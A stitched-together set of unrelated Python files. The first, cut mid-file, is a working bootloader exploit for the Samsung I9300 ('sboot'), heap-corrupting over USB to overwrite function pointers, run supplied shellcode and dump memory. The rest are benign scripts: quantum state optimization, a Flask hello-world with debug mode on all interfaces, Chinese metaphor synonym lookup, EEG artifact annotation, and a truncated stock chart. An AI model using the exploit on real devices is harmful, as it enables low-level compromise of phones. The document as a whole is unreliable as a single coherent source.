        pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_packet_data_size(self, sz):
        logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz))
        pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz)
        self.write_pkt(pkt)
        if self.read_nofail(8):
            self._packet_data_size = sz

    def set_tflash(self):
        logging.debug('Setting g_tflash=1')
        pkt = Packet.pack32(0x64) + Packet.pack32(8)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset(self, val):
        self.set_isdump(0)
        logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset_other(self, val):
        self.set_isdump(0)
        logging.debug('Setting g_filetransfer_offset_other=0x{:08x}'
                      .fomrat(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def filetransfer_write(self, buf):
        self.set_isdump(0)
        self.set_packet_data_size(len(buf))
        logging.debug('Writing filetransfer ({} bytes)'.format(len(buf)))
        pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf))
        self.write_pkt(pkt)
        self.read_nofail(8)
        for i in range(0, len(buf), self._packet_data_size):
            self.write(buf[i:i+self._packet_data_size])
            self.read_nofail(8)

    def ping(self):
        logging.debug('Ping')
        pkt = Packet.pack32(0x64) + Packet.pack32(1)
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Ping failed!')
            return False
        return True

    def reboot(self):
        self.close_session(1)

    def set_isdump(self, isdump):
        isdump = 1 if isdump else 0
        logging.debug('Setting isdump={}'.format(isdump))
        pkt = Packet.pack32(0x66) + Packet.pack32(isdump)
        self.write_pkt(pkt)
        return self.read_nofail(8)

    def read_buf(self, part):
        self.set_isdump(1)

        logging.debug('Reading buf part {}'.format(part))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + \
            Packet.pack32(part & 0xffffffff)
        self.write_pkt(pkt)
        buf = self.read_nofail(500)
        return buf

    def read_memory(self, offset, size):
        part = offset//500
        chunk = self.read_buf(part)

        start = part*500
        while len(chunk) - (offset-start) < size:
            part += 1
            chunk += self.read_buf(part)
        return chunk[offset-start:offset-start+size]

    def write_buf(self, data):
        self.set_isdump(0)

        logging.debug('Writing buf ({} bytes)'.format(len(data)))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data))
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Cannot set write buffer length')

        self.write(data)
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot write buffer')
        return ret

    def spray(self, amount=8):
        for i in range(amount):
            if not self.open_session():
                return False
        return True

    def init(self):
        if not self.spray():
            return False

        header = self.read_memory(-0x10, 0x10)
        size, isfree, prev, next = struct.unpack("<IIII", header)
        assert size == 0x2000
        assert (isfree & 1) == 0
        self.buf_ptr = next - 0x2000
        self.header_ptr = self.buf_ptr - 0x10
        self.prev_ptr = prev
        prb_ptr = next
        logging.debug('First chunk header pointer: 0x{:08x}'.format(
            self.header_ptr))
        self.inited = True
        return True

    def run_shellcode(self, shellcode):
        if not self.inited:
            raise RuntimeError("Exploit isn't initialized")

        logging.debug('Dumping some sboot code')
        end = self.SBOOT_ADDRESS + 0x20000
        chunk_size = 0x1f0

        for addr in range(self.SBOOT_ADDRESS, end, chunk_size):
            sz = min(chunk_size, end - addr)
            chunk = exploit.read_memory(addr - exploit.buf_ptr, sz)
            self._sboot += chunk

        # Find sleep() address: MOV R0, #1000
        sleep = self._find_function(b'\xfa\x0f\xa0\xe3')
        logging.debug('sleep() found at 0x{:08x}'.format(sleep))

        # Find display() address: MOV R2, #0xFF0000
        display = self._find_function(b'\xff\x28\xa0\xe3')
        logging.debug('display() found at 0x{:08x}'.format(display))

        # Find clk1() address: MOV R1, #0x2FAF080
        clk1 = self._find_function(b'\x80\x10\x0F\xE3\xFA\x12\x40\xE3')
        logging.debug('clk1() found at 0x{:08x}'.format(clk1))

        # Find clk2() address: MOV R1, #6
        # signature isn't perfect so use lookahead=2 for tighter constraints
        clk2 = self._find_function(b'\x06\x10\xA0\xE3', 2)
        logging.debug('clk2() found at 0x{:08x}'.format(clk2))

        # Find mmc_startup() address
        # This requires some trickery since I couldn't find any simple pattern
        for offset in range(0, len(self._sboot), 4):
            # 1. Find a MOV (actually MVN) with #-0x16:
            opcode = struct.unpack('<I', self._sboot[offset:offset+4])[0]
            if (opcode & 0x0FF00FFF) != 0x03E00015:
                continue
            # 2. Find an STMFD above (function start):
            for func_start in range(offset - 4, max(0, offset - 4*32), -4):
                data = self._sboot[func_start:func_start+4]
                opcode = struct.unpack('<I', data)[0]
                if (opcode & 0xFFFF0000) == 0xE92D0000:
                    break
            else:
                continue
            # 3. Found!
            mmc_startup = self.SBOOT_ADDRESS + func_start
            break
        else:
            raise Exception('Could not find mmc_startup() in this sboot')
        logging.debug('mmc_startup() found at 0x{:08x}'.format(mmc_startup))

        logging.debug('Searching for arena ptr...')
        prev = self.prev_ptr
        while True:
            cur = prev - self.buf_ptr
            header = self.read_memory(cur, 0x10)
            size, isfree, prev, next = struct.unpack("<IIII", header)
            if prev == 0 or prev >= self.header_ptr:
                arena = cur + self.buf_ptr
                logging.debug('Arena is at 0x{:08x}'.format(arena))
                break

        # Fake last chunk so we gain control over function pointers
        last = self.buf_ptr

        # Read arena area and find USB function pointers
        arena_memory = self.read_memory(arena - self.buf_ptr, 0x80)
        for vptr_off in range(0, len(arena_memory)-4, 4):
            ptrs = struct.unpack("<II", arena_memory[vptr_off:vptr_off+8])
            if all(((ptr & 0xff000000) == 0x43000000 for ptr in ptrs)):
                break
        else:
            raise Exception('Could not find USB function pointers')

        logging.debug('Function pointers are at offset 0x{:08x}'.format(
            vptr_off))

        # Prepare shellcode
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_USB_WRITE),
            struct.pack('<I', ptrs[0]))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_USB_READ),
            struct.pack('<I', ptrs[1]))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_SLEEP),
            struct.pack('<I', sleep))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_DISPLAY),
            struct.pack('<I', display))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_CLK1),
            struct.pack('<I', clk1))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_CLK2),
            struct.pack('<I', clk2))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_MMC_STARTUP),
            struct.pack('<I', mmc_startup))

        # Fill buffer (start of buffer is fake last chunk)
        # Fake size such that next alloc is placed on an address to our control
        # We use a size such that next allocation is placed around /arena/
        data = bytes()
        data += struct.pack(
            '<IIII', (arena-self.buf_ptr-0x10+0x100) & 0xffffffff, 1, 0, arena)
        data += shellcode
        data += b'\x0a' * (0x2000 - len(data))
        prev_header_ptr = self.header_ptr
        cur_header_ptr = self.header_ptr + 0x10 + 0x2000

        # Create chunks -- (size, isfree)
        chunks = [(0x10, 0)] + [(0x10, 1)]*256

        for i, (sz, isfree) in enumerate(chunks):
            if i == len(chunks) - 1:
                next = last
                chunk_data = b''
            else:
                next = cur_header_ptr + 0x10 + sz
                chunk_data = b's'*sz

            data += struct.pack("<IIII", sz, isfree, prev_header_ptr, next)
            data += chunk_data
            prev_header_ptr = cur_header_ptr
            cur_header_ptr = cur_header_ptr + 0x10 + sz

        self.write_buf(data)

        logging.debug('Fake chunks are set up. Triggering absolute write...')

        # Prepare new arena_memory to write over the original one
        ptr_to_jump = self.buf_ptr + 0x10
        arena_memory = arena_memory[:vptr_off] + \
            struct.pack("<I", ptr_to_jump) * 2 + \
            arena_memory[vptr_off + 4*2:]

        # Loop malloc(0x2000), write_buf so eventually it is allocated over
        # arena_memory
        for i in range(256):
            if not self.open_session():
                raise RuntimeError(
                    'Cannot malloc(0x2000) - target may have crashed. Do you '
                    'use same sboot version as the shellcode?')

            ret = self.write_buf(b'\0'*(0x2000-0x100) + arena_memory)
            if ret == b'oranav':
                break
        else:
            raise RuntimeError(
                "Could not trigger absolute write - haven't received the knock"
                " code. Vulnerability might be fixed")

        logging.debug('Shellcode is running!')

    def _find_function(self, signature, bl_lookahead=8):
        """Finds a function address in sboot.

        `signature' is a unique pattern which indiactes a unique argument passed
        to the function; `bl_lookahead' is the maximum distance to look for a
        BL instruction from the signature.
        """
        assert (len(signature) % 4) == 0, 'signature must be aligned'

        offset = -1
        while True:
            offset = self._sboot.find(signature, offset + 1)
            if offset == -1:
                raise Exception('Could not parse this sboot version')
            # must be aligned
            if offset % 4:
                continue
            # now it should BL, so just 'disassemble' it
            max_ahead = min(offset + bl_lookahead * 4, len(self._sboot))
            for ahead in range(offset + len(signature), max_ahead, 4):
                branch = self._sboot[ahead:ahead+4]
                if branch[3] != 0xeb:
                    continue
                bl_base = self.SBOOT_ADDRESS + ahead + 8
                sign_extended = branch[:3]
                if sign_extended[2] & 0x80:
                    sign_extended += b'\xff'
                else:
                    sign_extended += b'\0'
                bl_offset = struct.unpack('<i', sign_extended)[0] * 4
                func_addr = bl_base + bl_offset
                return func_addr

def shellcode_handler(exploit, args):
    while True:
        # Read shellcode request code
        code = exploit.read_timeout(2)

        if code == b'ER':
            logging.error('Shellcode failed')
            ret = exploit.read_timeout(4)
            logging.error('Status code: {}'
                          .format(struct.unpack('<i', ret)[0]))
            break
        elif code == b'GE':
            if args.emmc_fw is None:
                print('ERROR: shellcode requested eMMC firmware but none '
                      'was given (use --emmc-fw)', file=sys.stderr)
                exploit.close()
                return 1
            logging.debug('Sending firmware block...')
            exploit.write(args.emmc_fw.read(512))
        elif code == b'OU':
            if args.output is None:
                print('ERROR: shellcode wanted to output data but no output'
                      ' file was given (use --output)', file=sys.stderr)
                exploit.close()
                return 1
            buf = exploit.read_timeout(512)
            args.output.write(buf)
        elif code == b'AC':
            logging.debug('ACK')
        elif code == b'TX':
            color = struct.unpack('<I', exploit.read_timeout(4))[0]
            sz = struct.unpack('<I', exploit.read_timeout(4))[0]
            text = exploit.read_timeout(sz).decode('ascii')

            if color == 0xff0000:
                # bad
                prefix = '-'
            elif color == 0x00ff00:
                # good
                prefix = '+'
            else:
                # info
                prefix = '*'

            print('[{}] {}'.format(prefix, text))
        elif code == b'DO':
            logging.info('Shellcode is done. Device should be restarting soon')
            exploit.close()
            return 0
        else:
            logging.critical('Bad code {}'.format(code))

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='I9300 sboot exploit')
    mode_group = parser.add_mutually_exclusive_group(required=True)
    mode_group.add_argument('--shellcode', '-s', type=argparse.FileType('rb'),
                            help='shellcode to run on the device')
    mode_group.add_argument('--dump', '-d', action='store_true', default=False,
                            help='Dump sboot from the device')
    parser.add_argument('--emmc-fw', '-e', type=argparse.FileType('rb'),
                        help='eMMC firmware to send if shellcode requests')
    parser.add_argument('--output', '-o', type=argparse.FileType('wb'),
                        help='output file (if shellcode outputs anything)')
    parser.add_argument('--verbose', '-v', default=False, action='store_true')
    args = parser.parse_args()

    if args.verbose:
        level = logging.DEBUG
    else:
        level = logging.INFO

    logging.basicConfig(level=level)

    # Begin exploitation process
    exploit = Exploit()
    if not exploit.init():
        print('Exploit init failed, try rebooting the device', file=sys.stderr)
        exploit.close()
        sys.exit(1)

    if args.shellcode:
        # Normal exploitation - run a shellcode
        try:
            exploit.run_shellcode(args.shellcode.read())
        except RuntimeError as e:
            print('ERROR: {}'.format(str(e)), file=sys.stderr)
            exploit.close()
            sys.exit(1)

        sys.exit(shellcode_handler(exploit, args))

    elif args.dump:
        # Dump sboot from the device
        if args.output is None:
            print('Must supply --output along with --dump', file=sys.stderr)
            exploit.close()
            sys.exit(1)

        start = exploit.SBOOT_ADDRESS
        count = 1 * 1024 * 1024
        end = start + count
        chunk_size = 500

        for addr in range(start, end, chunk_size):
            sz = min(chunk_size, end - addr)
            chunk = exploit.read_memory(addr - exploit.buf_ptr, sz)
            args.output.write(chunk)


import os
import time
import json

import numpy as np
from qulacs import QuantumCircuit, QuantumState
from scipy.io import mmwrite
from scipy.optimize import *
from qiskit.algorithms.optimizers import *

class BreakOut(Exception):
	pass

class VSV(object):
	def __init__(self, test_state, num_states=None, directory=None):
		# Set up input parameters
		self.test_state = test_state
		if self.test_state.ndim == 1:
			self.test_state = np.outer(self.test_state, self.test_state.conj())
		self.test_state_purity = np.trace(self.test_state @ self.test_state).real
		self.dimension = len(self.test_state)
		self.nqubits = int(np.log2(self.dimension))
		self.num_states = num_states if num_states else self.dimension
		self.directory = directory if directory is not None else 'temp'

		# Minimizer
		self.min_kwargs = None
		self.params = None
		self.upper_params = None
		self.lower_params = None
		self.lower_param_bounds = [(0, 1)] * self.num_states
		self.upper_param_bounds = [(-2 * np.pi, 2 * np.pi)] * 2 * self.nqubits * self.num_states
		self.param_bounds = np.concatenate((self.lower_param_bounds, self.upper_param_bounds))
		self.lower_constraints = LinearConstraint(np.ones(self.num_states), 1, 1)
		self.constraints = LinearConstraint(
			np.concatenate((np.ones(self.num_states), np.zeros(2 * self.nqubits * self.num_states))), 1, 1)
		self.purity = None
		self.overlap = None
		self.pure_states = None

		# quantities
		self.D_list = None
		self.purity_list = None
		self.overlap_list = None
		self.css = None

		# alternative quantities
		self.fev_D_list = None
		self.fev_purity_list = None
		self.fev_overlap_list = None

		# progress parameters
		self.cost = None
		self.iter = None
		self.fev = None
		self.elapsed_time = None
		self.start_time = None
		self.max_time = None
		self.max_fev = None

	def run(self, min_kwargs=None, params=None, max_fevs=None, max_time=None):
		os.makedirs(f'{self.directory}', exist_ok=True)
		# Generate parameters
		self.params = params or np.concatenate((self.generate_random_lower_params(),
		                                        self.generate_random_upper_params()))
		self.lower_params = self.params[:self.num_states]
		self.upper_params = self.params[self.num_states:]
		# Set break points
		self.iter = 0
		self.fev = 0
		self.elapsed_time = 0
		if max_fevs:
			self.max_fev = max_fevs
		else:
			self.max_fev = None
		self.max_time = max_time
		# Create empty lists
		self.D_list = []
		self.purity_list = []
		self.overlap_list = []
		self.fev_D_list = []
		self.fev_purity_list = []
		self.fev_overlap_list = []
		# Save initial CSS
		p = self.lower_params
		theta, phi = self.upper_params_unpacker(self.upper_params)
		self.css = self.css_density_matrix(p, theta, phi)
		mmwrite(f'{self.directory}/initial_trial_state.mtx', self.css, field='complex', precision=10, symmetry='hermitian')
		# Set up minimizer kwargs
		self.min_kwargs = min_kwargs or dict()
		with open(f'{self.directory}/min_kwargs.json', 'w') as f:
			json.dump(self.min_kwargs, f)
		self.min_kwargs.update(func=self.upper_cost_function, x0=self.upper_params, bounds=self.upper_param_bounds,
		                       callback=self.callback)
		# Start minimization
		self.start_time = time.perf_counter()
		result = self.min_D()
		# Save last CSS
		p = self.lower_params
		theta, phi = self.upper_params_unpacker(self.upper_params)
		self.css = self.css_density_matrix(p, theta, phi)
		mmwrite(f'{self.directory}/calculated_css.mtx', self.css, field='complex', precision=10, symmetry='hermitian')
		# Save data
		np.savetxt(f'{self.directory}/fev_D_list.txt', self.fev_D_list)
		np.savetxt(f'{self.directory}/fev_purity_list.txt', self.fev_purity_list)
		np.savetxt(f'{self.directory}/fev_overlap_list.txt', self.fev_overlap_list)
		np.savetxt(f'{self.directory}/D_list.txt', self.D_list)
		np.savetxt(f'{self.directory}/purity_list.txt', self.purity_list)
		np.savetxt(f'{self.directory}/overlap_list.txt', self.overlap_list)
		np.savetxt(f'{self.directory}/params.txt', self.params)
		np.savetxt(f'{self.directory}/metadata.txt', [self.iter, self.fev])
		# Return result
		return result

	def generate_random_upper_params(self):
		return np.random.uniform(-2 * np.pi, 2 * np.pi, 2 * self.nqubits * self.num_states)

	def generate_random_lower_params(self):
		p = np.random.uniform(0, 1, self.num_states)
		return p / np.sum(p)

	def params_unpacker(self, params):
		p = params[:self.num_states]
		theta, phi = self.upper_params_unpacker(params[self.num_states:])
		return p, theta, phi

	def upper_params_unpacker(self, upper_params):
		return upper_params[:self.nqubits * self.num_states], upper_params[self.nqubits * self.num_states:]

	def updater(self, p, theta, phi):
		self.fev += 1
		# Update params
		self.lower_params = p
		self.upper_params = np.concatenate((theta, phi))
		self.params = np.concatenate((self.lower_params, self.upper_params))
		# Check break conditions
		self.elapsed_time = time.perf_counter() - self.start_time
		if self.max_fev and self.fev >= self.max_fev:
			raise BreakOut('Maximum number of function evaluations reached')
		if self.max_time and self.elapsed_time >= self.max_time:
			raise BreakOut('Maximum time limit reached')

		# Update data
		self.fev_D_list.append(self.cost)
		self.fev_purity_list.append(self.purity)
		self.fev_overlap_list.append(self.overlap)

	def callback(self, *args, **kwargs):
		self.iter += 1
		# Update data
		self.D_list.append(self.cost)
		self.purity_list.append(self.purity)
		self.overlap_list.append(self.overlap)

		self.elapsed_time = time.perf_counter() - self.start_time
		print(f"| {self.iter} | {self.fev} | {self.D_list[-1]:.10f} | {self.elapsed_time:.2f} |")

	def min_D(self):
		try:
			# Print headers
			print("| Iterations | Function Evaluations | HSD | Elapsed Time |")
			# Minimize
			# result = dual_annealing(**self.min_kwargs)
			result = NFT(maxfev=2048, reset_interval=16, callback=self.callback) \
				.minimize(fun=self.upper_cost_function, x0=self.upper_params, bounds=self.upper_param_bounds)
		# Break point reached
		except BreakOut:
			return None

		return result

	def upper_cost_function(self, upper_params):
		# Get theta and phi
		theta, phi = self.upper_params_unpacker(upper_params)
		# Calculate purity and overlap lists
		self.pure_states = self.calculate_pure_states(theta, phi)
		# Minimize to find p
		result = minimize(self.lower_cost_function, x0=self.lower_params, bounds=self.lower_param_bounds,
		                  constraints=self.lower_constraints)
		# Get results
		p = result.x
		self.cost = result.fun
		# Update run
		self.updater(p, theta, phi)
		# Return cost
		return self.cost

	def lower_cost_function(self, p):
		sigma = np.zeros((self.dimension, self.dimension), dtype=np.complex128)
		for i, j in zip(p, self.pure_states):
			sigma += i * j
		self.purity = np.trace(sigma @ sigma).real
		self.overlap = np.trace(self.test_state @ sigma).real
		return self.test_state_purity + self.purity - 2 * self.overlap

	def cost_function(self, params):
		# Get p, theta and phi
		p, theta, phi = self.params_unpacker(params)
		# Calculate purity and overlap lists
		sigma = self.css_density_matrix(p, theta, phi)
		self.purity = np.trace(sigma @ sigma).real
		self.overlap = np.trace(self.test_state @ sigma).real
		self.cost = self.test_state_purity + self.purity - 2 * self.overlap
		# Update run
		self.updater(p, theta, phi)
		# Return cost
		return self.cost

	def calculate_pure_states(self, theta, phi):
		sigmas = []
		for i in range(self.num_states):
			j = i * self.nqubits
			k = (i + 1) * self.nqubits
			sigmas.append(self.prod_state(theta[j:k], phi[j:k]))

		return sigmas

	def css_density_matrix(self, p, theta, phi):
		sigma = np.zeros((self.dimension, self.dimension), dtype=np.complex128)
		for i in range(self.num_states):
			j = i * self.nqubits
			k = (i + 1) * self.nqubits
			sigma += p[i] * self.prod_state(theta[j:k], phi[j:k])

		return sigma

	def prod_state(self, theta, phi):
		qc = QuantumCircuit(self.nqubits)
		for i, [t, p] in enumerate(zip(theta, phi)):
			qc.add_RY_gate(i, t)
			qc.add_RZ_gate(i, p)
		state = QuantumState(self.nqubits)
		qc.update_quantum_state(state)
		statevector = state.get_vector()
		return np.outer(statevector, statevector.conj())


import socket
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    hostname = socket.gethostname()
    return_string = "Hello from {}!".format(hostname)
    return return_string

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')


"""读取get_meta_sub_BERT的输出文件，按照knowledge based方式
找到隐喻动词的平替词的备选词表
Env: 本地, DeepMet"""
import os
import re
import pandas as pd
import numpy as np
import ast
from tqdm import tqdm
import synonyms
import OpenHowNet
import json

os.getcwd()

def keep_only_CN_char(lst):
    """过滤所有非中文汉字"""
    return [w for w in lst if chinese_re.findall(w) != []]

def flattern_lst_of_lst(lst):
    """展开2层嵌套式list"""
    lst = [x for nest_lst in lst for x in nest_lst]  # 方法1
    # lst = sum(lst, [])  # 方法2
    # lst = reduce(lambda x, y: x+y, lst)  # 方法3
    return lst

# 10个词
def get_syns_synonyms(word):
        """从synonyms工具包获得word的近义词"""
        syn_words, _ = synonyms.nearby(word, 10)
        return keep_only_CN_char(syn_words)

def load_HIT_synonyms(file_path):
    """加载哈工大同义词词林扩展版，并输出同义词集合和相关词集合"""
    sym_words, sym_class_words = [], []
    with open(file_path, 'r', encoding='utf-8') as file:
        for line in file:
            items = line.strip().split(' ')
            index = items[0]
            if (index[-1] == '='):  # 同义词
                sym_words.append(items[1:])
            if (index[-1] == '#'):  # 近义词
                sym_class_words.append(items[1:])
    return sym_words, sym_class_words

def get_syns_HIT(word, syns_dict):
    """根据哈工大词林找word的同义词"""
    word_syns = []  # 初始化一个词的同义词列表
    for sym_words in syns_dict:  # 遍历同义词表，sym_words为其中的一条
        if word in sym_words:  # 如果句子中的词在同义词表某一条目中，将该条目中它的同义词添加到该词的同义词列表中
            same_sym_words = [w for w in sym_words if w != word]
            word_syns.extend(same_sym_words)
    return keep_only_CN_char(word_syns)

# 10个词
def get_syns_hownet(word):
    """使用Hownet获得特定词汇的近义词，一个sense对应一组近义词。
    Hownet是根据义原（sememe）来确定近义词的，不同sense可能有相同的义原，因此不同sense的近义词可能是一样的"""
    syn_words = hownet_dict_advanced.get_nearest_words(word, language='zh', K=10)
    # 把该词汇对应所有sense的近义词合并，并去除重复项
    syn_words = list(set(flattern_lst_of_lst(syn_words.values())))
    return keep_only_CN_char(syn_words)

def get_same_frame_word(word):
    """输出跟word相同frame的其他词汇"""
    out_words = []
    if word in CFN_word2frame['word'].values:  # 如果word在CFN中存在
        word_frames = CFN_word2frame[CFN_word2frame['word'] == word]['frame']
        out_words = [CFN_frame2word[frame] for frame in word_frames]
        out_words = flattern_lst_of_lst(out_words)
    return keep_only_CN_char(out_words)

if __name__ == '__main__':
    # 读取文件
    filename = 'poetry0-24859w_predict薛24867_edited'
    df_expand = pd.read_excel('./corpus/poetry/' + filename + '_meta_wobert.xlsx')
    # df_expand = pd.read_csv('./corpus/CCL_PSUCMC_meta_bert.csv', converters={"meta_words": ast.literal_eval})
    # df = pd.read_excel('./corpus/poetry/poetry0-100007w_predict薛24867_edited_top1000.xlsx')
    meta_word_col = 'meta_words'  # 找到隐喻词汇所在列的名称
    sentence_col_name = 'content'  # 找到完整句子所在列的名称

    chinese_re = re.compile('[\u4e00-\u9fa5]+')
    meta_filter = [row[meta_word_col] != '' for idx, row in df_expand.iterrows()]
    # # ----------------------用synonyms找隐喻词汇的近义词---------------------------
    df_expand.loc[meta_filter, 'meta_subs_synonyms'] = df_expand.loc[meta_filter, meta_word_col].apply(get_syns_synonyms)
    # # ----------------------用哈工大词林找隐喻词汇的近义词-----------------------------------------------
    HIT_cilin_file_path = './corpus/哈工大词林扩展版/cilin_ex.txt'
    sym_words_list, sym_class_words_list = load_HIT_synonyms(HIT_cilin_file_path)
    df_expand.loc[meta_filter, 'meta_subs_HIT'] = df_expand.loc[meta_filter, meta_word_col].apply(lambda x: get_syns_HIT(x, sym_words_list))
    # # ----------------------用Hownet找隐喻词汇的近义词-----------------------------------------------
    # hownet_dict_advanced = OpenHowNet.HowNetDict(init_sim=True)
    # OpenHowNet.download()
    # df_expand['meta_subs_hownet'] = ''
    # df_expand_copy = df_expand.copy()
    # for idx, row in tqdm(df_expand_copy.iterrows()):
    #     if row[meta_word_col] != '':  #
    #         df_expand.at[idx, 'meta_subs_hownet'] = get_syns_hownet(row[meta_word_col])

    # df_expand.loc[meta_filter, 'meta_subs_hownet'] = df_expand.loc[meta_filter, meta_word_col].apply(get_syns_hownet)
    # ----------------------用中文FrameNet找隐喻词汇的同域词-----------------------------------------------
    with open('./CFN_LEX_CN/CFN_LEX_CN.json') as f:
        CFN_frame2word = json.load(f)
    CFN_word2frame = pd.read_csv('./CFN_LEX_CN/CFN_LEX_CN.csv')
    df_expand.loc[meta_filter, 'meta_subs_CFN'] = df_expand.loc[meta_filter, meta_word_col].apply(get_same_frame_word)

    # ----------------------集合以上所有词汇到一起-----------------------------------------------
    # df_expand['meta_subs'] = df_expand['meta_subs_synonyms'] + \
    #     df_expand['meta_subs_HIT'] + df_expand['meta_subs_hownet'] + \
    #     df_expand['meta_subs_CFN']
    # df_expand.loc[meta_filter, 'meta_subs'] = df_expand.loc[meta_filter, 'meta_subs'].apply(lambda x: list(set(x)))
    df_expand_meta = df_expand[meta_filter]
    df_expand_meta.drop(['predict'], axis=1, inplace=True)
    df_expand_meta.to_excel('./corpus/poetry/' + filename + '_meta_nohownet.xlsx', index=False)


"""Mark bad temporal segments via MNE annotate functions and save."""

# %%
# Imports
import json
import sys
from pathlib import Path

from mne.preprocessing import (
    annotate_amplitude,
    annotate_break,
    annotate_muscle_zscore,
    annotate_nan,
)
from mne.utils import logger

from config import (
    FNAME_BADS_TEMPLATE,
    FNAME_RAW_SET_TEMPLATE,
    FNAME_SEGMENTS_TEMPLATE,
    FPATH_DS,
    FPATH_DS_NOT_FOUND_MSG,
    OVERWRITE_MSG,
    SUBJS,
)
from utils import get_raw_data, parse_overwrite

# %%
# Filepaths and settings

sub = 1
overwrite = False

# %%
# When not in an IPython session, get command line inputs
# https://docs.python.org/3/library/sys.html#sys.ps1
if not hasattr(sys, "ps1"):
    defaults = dict(
        sub=sub,
        overwrite=overwrite,
    )

    defaults = parse_overwrite(defaults)

    sub = defaults["sub"]
    overwrite = defaults["overwrite"]

# Check inputs after potential overwriting
if sub not in SUBJS:
    raise ValueError(f"'{sub}' is not a valid subject ID.\nUse: {SUBJS}")
if not FPATH_DS.exists():
    raise RuntimeError(FPATH_DS_NOT_FOUND_MSG.format(FPATH_DS))
if overwrite:
    logger.info("`overwrite` is set to ``True``.")

# %%
# Check overwrite
fname_seg = Path(FNAME_SEGMENTS_TEMPLATE.format(sub=sub))
if fname_seg.exists() and not overwrite:
    raise RuntimeError(OVERWRITE_MSG.format(fname_seg))

# %%
# Get raw data
raw = get_raw_data(FNAME_RAW_SET_TEMPLATE.format(sub=sub))

# %%
# Mark flat segments ... and potentially channels (if a channel is often flat)
annots_flat, bads_flat = annotate_amplitude(raw, flat=0)

# %%
# Mark block breaks as bad
annots_break = annotate_break(raw, t_start_after_previous=2, t_stop_before_next=2)

# %%
# Mark muscle artifacts
raw_copy = raw.copy()
raw_copy.load_data()
raw_copy.notch_filter([50, 100])

thresh_zscore = 4
annots_muscle, _ = annotate_muscle_zscore(
    raw_copy, threshold=thresh_zscore, ch_type="eeg", min_length_good=0.2
)

# %%
# Check for NaN
annots_nan = annotate_nan(raw)

# sanity check: there should be no NaNs ...
assert len(annots_nan) == 0

# %%
# combine annotations
annots_bad = annots_flat + annots_break + annots_muscle + annots_nan

# ensure we can set the bad annotations to raw
raw.set_annotations(raw.annotations + annots_bad)

# save
fname_seg.parent.mkdir(parents=True, exist_ok=True)
annots_bad.save(fname_seg, overwrite=overwrite)

# %%
# update bad channels, if we found previously unknown ones
fname_bads = Path(FNAME_BADS_TEMPLATE.format(sub=sub))
if len(bads_flat) > 0 and fname_bads.exists():
    with open(fname_bads, "r") as fin:
        bads_dict = json.load(fin)

    file_changed = False
    for bad in bads_flat:
        if bad not in bads_dict["bad_by_flat"]:
            bads_dict["bad_by_flat"].append(bad)
            file_changed = True

    if file_changed:
        bads_dict_sorted = {}
        for key, val in bads_dict.items():
            bads_dict_sorted[key] = sorted(val)

        with open(fname_bads, "w") as fout:
            json.dump(bads_dict_sorted, fout, indent=4, sort_keys=True)
            fout.write("\n")

elif not fname_bads.exists():
    logger.info("File on bad channels not found. Did you run 01_find_bads.py?")

# %%


# Raw Package
from datetime import date
from plotly.subplots import make_subplots
import plotly.io as pio
import math

# Data Source
import yfinance as yf

# Data viz
import plotly.graph_objs as go

total_assets = 0
net_gains = 0
start_date = date.today
end_date = date.today

def set_data(stock_profile):
    # Interval required 1 minute
    stock_profile.data = yf.download(tickers=stock_profile.name, period=stock_profile.period,
                                     interval=stock_profile.interval)
    stock_profile.set_current(stock_profile.data.values.item(stock_profile.data.values.size - 2))
    global total_assets, net_gains
    net_gains += stock_profile.net_value
    total_assets += stock_profile.current_value

def get(my_stocks, columns):
    # declare figure
    fig = make_subplots(
        rows=math.ceil(len(my_stocks) / columns), cols=columns,  # loop array
        # subplot_titles=[stock.to_string() for stock in stocks],
        y_title='',  # y_title_font_color=stock.color_text
    )

    backgrounds = []
    interval = ''
    for count, stock in enumerate(my_stocks, start=1):
        row = math.ceil(count / columns)
        col = count - ((row - 1) * columns)
        # fig.add_trace(go.Candlestick(x=stock.data.index,
        # open=stock.data['Open'],
        # high=stock.data['High'],
        # low=stock.data['Low'],
        # close=stock.data['Close'], name=stock.name), row=row, col=col)
        set_data(stock)
        interval = stock.interval_string
        fig.add_trace(go.Scatter(x=stock.data.index, y=stock.data['Close'],
                                 mode='lines', connectgaps=True,
                                 line=dict(color=stock.color_text),
                                 # open=stock.data['Open'],
                                 # high=stock.data['High'],
                                 # low=stock.data['Low'],
                                 # close=stock.data['Close'],
                                 name=f'{stock.name}
{stock.net_value}'),
                      row=row, col=col)

        # Style the X and Y axes for each individual subplot
        fig.update_xaxes(title_text=stock.to_string(), row=row, col=col, rangeslider_visible=False,
                         title_font_color=stock.color_text, title_font_size=12)
        fig.update_yaxes(title_text=stock.name, row=row, col=col, title_font_color="black")
        cur_plot = fig.data[count - 1]
        sd = stock.data
        global start_date, end_date
